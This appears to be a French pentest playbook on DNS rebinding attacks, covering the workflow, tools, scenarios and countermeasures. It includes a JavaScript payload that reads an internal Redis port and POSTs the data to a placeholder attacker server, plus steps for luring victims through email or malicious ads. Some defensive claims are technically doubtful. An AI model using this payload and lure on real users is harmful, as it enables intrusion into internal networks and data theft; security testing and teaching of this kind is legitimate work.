yaklang/attaques-par-renvoi-dns

Que fait attaques-par-renvoi-dns ?

Playbook d'attaques par renvoi DNS. À utiliser lors du test d'applications qui font confiance à la résolution DNS pour les vérifications d'origine, interagissent avec des services internes depuis le contexte du navigateur, ou lorsque l'SSRF n'est pas possible côté serveur mais que la cible utilise fetch/XHR côté client vers des domaines contrôlés par l'attaquant.

Présentation du Playbook

Le renvoi DNS (DNS rebinding) est une technique qui exploite la manière dont les navigateurs mettent en cache les résolutions DNS. L'idée est de faire en sorte qu'un domaine attaquant pointe d'abord vers une adresse IP externe légitime, puis après un laps de temps très court, pointe vers une adresse IP interne (comme 127.0.0.1 ou 192.168.1.1). Le navigateur, croyant toujours communiquer avec le même domaine, envoie des requêtes vers des services internes, contournant ainsi les politiques de même origine (same-origin policy) et les vérifications d'origine basées sur le DNS.

Cibles

• Applications web qui utilisent le DNS pour déterminer l'origine (par exemple, vérification de l'en-tête Host, jetons CSRF basés sur le domaine, etc.)
• Services qui ne sont accessibles que depuis le réseau interne (bases de données, API internes, routeurs).
• Applications qui exécutent des opérations sensibles côté client comme des appels fetch/XHR vers des domaines contrôlés par l'attaquant.

Prérequis

• Un domaine que vous contrôlez et dont vous pouvez modifier les enregistrements DNS avec un TTL très bas (par exemple, 0-60 secondes).
• Un serveur web sur une machine accessible publiquement (vous pouvez utiliser un service cloud ou un VPS).
• Un client DNS local ou un service DNS public (comme 1.1.1.1 ou 8.8.8.8) qui ne met pas en cache trop longtemps.

Outils

Les outils suivants peuvent être utilisés pour automatiser l'attaque par renvoi DNS :

• singularity par NCC Group (outil populaire pour automatiser les attaques).
• dns-rebinding-toolkit par t0x (script Python).
• rebind par nccgroup (serveur DNS pour renvoi).
• Serveur web Python (simple pour tester des charges).

Workflow d'Attaque

Étape 1 : Préparation du Domaine

1. Enregistrez un domaine avec un TTL DNS très bas (par exemple, 60 secondes).
2. Configurez l'enregistrement A pour le domaine afin qu'il pointe d'abord vers votre serveur web public.
3. Après une période courte (quelques secondes), modifiez l'enregistrement A pour qu'il pointe vers une adresse IP interne (par exemple, 127.0.0.1).

Étape 2 : Configuration du Serveur Attaquant

1. Configurez un serveur web pour servir la charge malveillante (par exemple, un script JavaScript) qui effectuera des requêtes vers le domaine attaquant.
2. La charge peut essayer d'envoyer des requêtes fetch() ou XMLHttpRequest vers des services internes.

Exemple de charge JavaScript simple :

// Envoyez une requête vers le service interne (par exemple, Redis)
const url = 'http://votre-domaine-attaquant.com:6379';
fetch(url)
  .then(response => response.text())
  .then(data => {
    // Envoyez les données extraites vers un endpoint externe
    fetch('http://votre-serveur-attaquant.com/log', {
      method: 'POST',
      body: data
    });
  })
  .catch(err => console.error(err));

Étape 3 : Exécution de l'Attaque

1. Incitez la cible à visiter votre page web (par exemple, via un lien dans un e-mail, une publicité malveillante, ou un site compromis).
2. Le navigateur de la cible résout d'abord votre domaine vers votre IP publique et charge la page.
3. Pendant que le navigateur exécute la charge, vous modifiez rapidement la résolution DNS pour pointer vers une adresse IP privée.
4. Les requêtes suivantes du navigateur (par exemple, fetch() ou XHR) vers le même domaine iront désormais vers le service interne.
5. La politique de même origine du navigateur ne bloquera pas ces requêtes car elles sont effectuées vers le même nom de domaine.

Scénarios d'Attaque Courants

1. Interception de Requêtes Redis/Memcached

Si le service Redis ou Memcached écoute sur 127.0.0.1:6379 ou localhost, le navigateur peut envoyer des requêtes HTTP vers ce port. Bien que Redis ne parle pas HTTP, certaines charges HTTP non standard peuvent être transformées en commandes Redis (grâce à des vulnérabilités de désérialisation ou d'autres bugs).

2. Attaque contre des Services Web Internes

Des services web internes comme des API, des panneaux d'administration, ou des bases de données web (par exemple, CouchDB) peuvent être visés. Si ces services ne nécessitent pas d'authentification ou ont des vulnérabilités CSRF, l'attaquant peut exécuter des actions non autorisées.

3. Contournement des Restrictions SSRF

Lorsque l'SSRF est bloqué côté serveur mais que le site cible exécute du code JavaScript côté client qui fait des requêtes vers des domaines externes, le renvoi DNS peut être utilisé pour accéder à des ressources internes.

Contre-mesures

• Ne faites pas confiance au DNS pour les vérifications d'origine : Utilisez des jetons CSRF basés sur des secrets ou des en-têtes Origin/Referer correctement vérifiés.
• Utilisez des certificats TLS internes : Si les services internes utilisent TLS avec des certificats signés par une autorité de certification interne, le navigateur bloquera les requêtes de l'attaquant car le certificat ne correspondra pas à l'URL.
• Activez l'Accès Privé au Réseau (PNA) pour Chrome : Cette fonctionnalité empêche les sites publics d'envoyer des requêtes vers des adresses IP privées.
• Limitez la résolution DNS : Configurez des TTL DNS longs et utilisez des listes de blocage pour les domaines suspects.

Notes Importantes

• Cette technique dépend fortement de la configuration du navigateur et du système d'exploitation. Les comportements peuvent varier.
• Certains navigateurs (comme Chrome) ont implémenté des protections contre le renvoi DNS (comme DNS-over-HTTPS et des délais de rafraîchissement).
• L'utilisation de cette technique pour des tests de sécurité doit être réalisée avec une autorisation explicite du propriétaire de la cible.

Références

• Singularity of Origin - NCC Group
• DNS Rebinding Attacks - OWASP
• Private Network Access (PNA) pour Chrome

Licence

Ce playbook est fourni à des fins éducatives et de test de sécurité légitime. L'auteur n'est pas responsable d'une utilisation abusive.